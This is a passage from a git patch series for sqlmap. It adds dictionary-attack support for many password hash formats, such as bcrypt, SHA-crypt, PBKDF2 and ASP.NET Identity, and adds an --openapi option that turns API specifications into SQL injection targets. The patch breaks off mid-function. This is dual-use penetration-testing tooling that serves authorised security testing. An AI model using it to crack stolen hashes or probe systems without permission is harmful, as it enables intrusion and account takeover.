crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, @@ -591,6 +910,14 @@ __functions__ = { HASH.SHA512_BASE64: sha512_generic_passwd, } +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools +HASH_TOOL_HINTS = { + HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')", +} + def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() @@ -1023,9 +1350,14 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].__name__ - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash") + warnMsg += "built-in dictionary attack" + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -1043,7 +1375,7 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): @@ -1068,10 +1400,32 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] @@ -1102,7 +1456,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] From fe69e6bfcc88d59f4ad35f93753a75ec29392199 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:12:46 +0200 Subject: [PATCH 124/165] Adding support for --openapi --- data/txt/sha256sums.txt | 10 +- lib/core/option.py | 68 +++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 +- lib/parse/openapi.py | 361 +++++++++++++++++++++++++++++++ tests/test_openapi.py | 456 ++++++++++++++++++++++++++++++++++++++++ 7 files changed, 893 insertions(+), 10 deletions(-) create mode 100644 lib/parse/openapi.py create mode 100644 tests/test_openapi.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 17ec05495..abab556e8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py +91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py +227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py +1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,12 +200,13 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py +1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py +9cb95cc5136d5ac624860578099929fdb335face41026f79f49df4f52da9805d lib/parse/openapi.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py @@ -631,6 +632,7 @@ d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_ide caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py +a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py diff --git a/lib/core/option.py b/lib/core/option.py index e69067f68..8fd9c491d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -492,6 +492,65 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) +def _setOpenApiTargets(): + if not conf.openApiFile: + return + + from lib.parse.openapi import openApiTargets + + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + + origin = None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + content = openFile(conf.openApiFile).read() + + try: + targets = openApiTargets(content, origin) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -1852,7 +1911,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: @@ -2728,8 +2787,8 @@ def _basicOptionValidation(): errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" raise SqlmapSystemException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): - errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: @@ -3022,7 +3081,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -3038,6 +3097,7 @@ def init(): _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 21c6cfa37..d449259df 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -19,6 +19,7 @@ optDict = { "sessionFile": "string", "googleDork": "string", "configFile": "string", + "openApiFile": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index d39b04e52..50535bacb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.16" +VERSION = "1.10.7.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index dde875d91..e8ddc2d4f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -144,6 +144,9 @@ def cmdLineParser(argv=None): target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") + target.add_argument("--openapi", dest="openApiFile", + help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") @@ -1172,7 +1175,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py new file mode 100644 index 000000000..996b5ece6 --- /dev/null +++ b/lib/parse/openapi.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from thirdparty import six +from thirdparty.six.moves.urllib.parse import quote as _quote + +try: + import yaml # optional (only needed for YAML specs) +except ImportError: + yaml = None + +# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The +# document is treated as a request generator, NOT a contract to validate: for every operation a single +# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any +# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully. + +MAX_REF_DEPTH = 25 + +def _loadSpec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional " + errMsg += "'pyyaml' module (needed for YAML specifications) is not available" + raise ValueError(errMsg) + try: + return yaml.safe_load(content) + except Exception as ex: + raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex)) + +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + logger.warning("skipping external OpenAPI $ref '%s'" % ref) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split('/'): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + logger.warning("skipping dangling OpenAPI $ref '%s'" % ref) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs + +def _example(spec, schema, seen=None, depth=0, cache=None): + # 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs + # (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this + # the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas. + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1) + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + _type = schema.get("type") + if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"]) + _type = next((_ for _ in _type if _ != "null"), None) + if _type == "object" or ("properties" in schema and not _type): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif _type == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif _type in ("integer", "number"): + value = 1 + elif _type == "boolean": + value = True + elif _type == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01' + return str(value) + +_NO_EXAMPLE = object() + +def _explicitExample(spec, container): + # a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a + # schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples' + # is a map of name -> {"value": ...} (each entry possibly a $ref). + if not isinstance(container, dict): + return _NO_EXAMPLE + if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return _NO_EXAMPLE + +def _noMark(text): + # strip any custom injection mark already present in a synthesized value so only the intentionally + # appended mark (if any) survives (avoids a stray/second injection point) + return text.replace(CUSTOM_INJECTION_MARK_CHAR, "") + +def _headerClean(text): + # remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other + # C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators) + +def _urlSafe(value, safe=""): + # percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&', + # '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps + # selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]). + try: + return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe) + except Exception: + return value + +def _baseUrl(spec, origin=None, servers=None): + # defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation + # try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level + # 'servers' (used for per-path / per-operation 'servers'). + basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed + basePath = "/" + basePath + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + default = meta.get("default", "1") if isinstance(meta, dict) else "1" + url = url.replace("{%s}" % name, str(default)) + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin) + return url.rstrip('/') + return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin + if spec.get("host"): # Swagger v2 with an explicit host + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/')) + return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin + +_METHODS = ("get", "post", "put", "delete", "patch", "options", "head") + +def openApiTargets(content, origin=None): + """ + Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger + specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' + (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' + entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry + the custom injection mark so they become testable injection points. + """ + + spec = _loadSpec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" + raise ValueError(errMsg) + + try: + rootBase = _baseUrl(spec, origin) + except Exception: # never let base-URL synthesis abort the whole run + rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else "" + isV2 = "swagger" in spec and "openapi" not in spec + retVal = [] + cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas) + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) # a Path Item object may itself be a $ref + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation + for method, operation in item.items(): + if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) + continue + try: + # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root + opServers = operation.get("servers") or item.get("servers") + base = rootBase + if opServers: + try: + base = _baseUrl(spec, origin, opServers) + except Exception: + base = rootBase + + # merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + urlPath = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5) + name = str(name) + explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis + if explicit is not _NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # mark the filled path segment as a (custom) URI injection point - path parameters are + # prime REST injection targets; the value is encoded first so its own chars add no mark + urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR) + elif location == "query": + # best-effort: array/object query params are scalarized (single value), NOT expanded per + # OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal + # is one testable request per operation, not faithful serialization + query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + elif location == "header": + # append the custom injection mark so the header value becomes a testable (custom) + # injection point (non-exclusive: query/body params are still auto-tested); skip names + # that are not valid HTTP field-name tokens + headerName = _headerClean(name) + if headerName and _HEADER_NAME_RE.match(headerName): + headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR))) + elif location == "cookie": + # a cookie name is a token; the value must not contain cookie-structure chars ('; ,' + # and whitespace) or a spec could smuggle extra cookie pairs + cookieName = _headerClean(name) + if cookieName and _HEADER_NAME_RE.match(cookieName): + cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value))) + cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR)) + elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field + form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + + if cookies: # aggregate all cookie params into a single Cookie header + headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies))) + + urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded) + if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets) + urlPath = "/" + urlPath + + url = base + urlPath + if query: + url += "?" + "&".join(query) + + url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1" + + if not 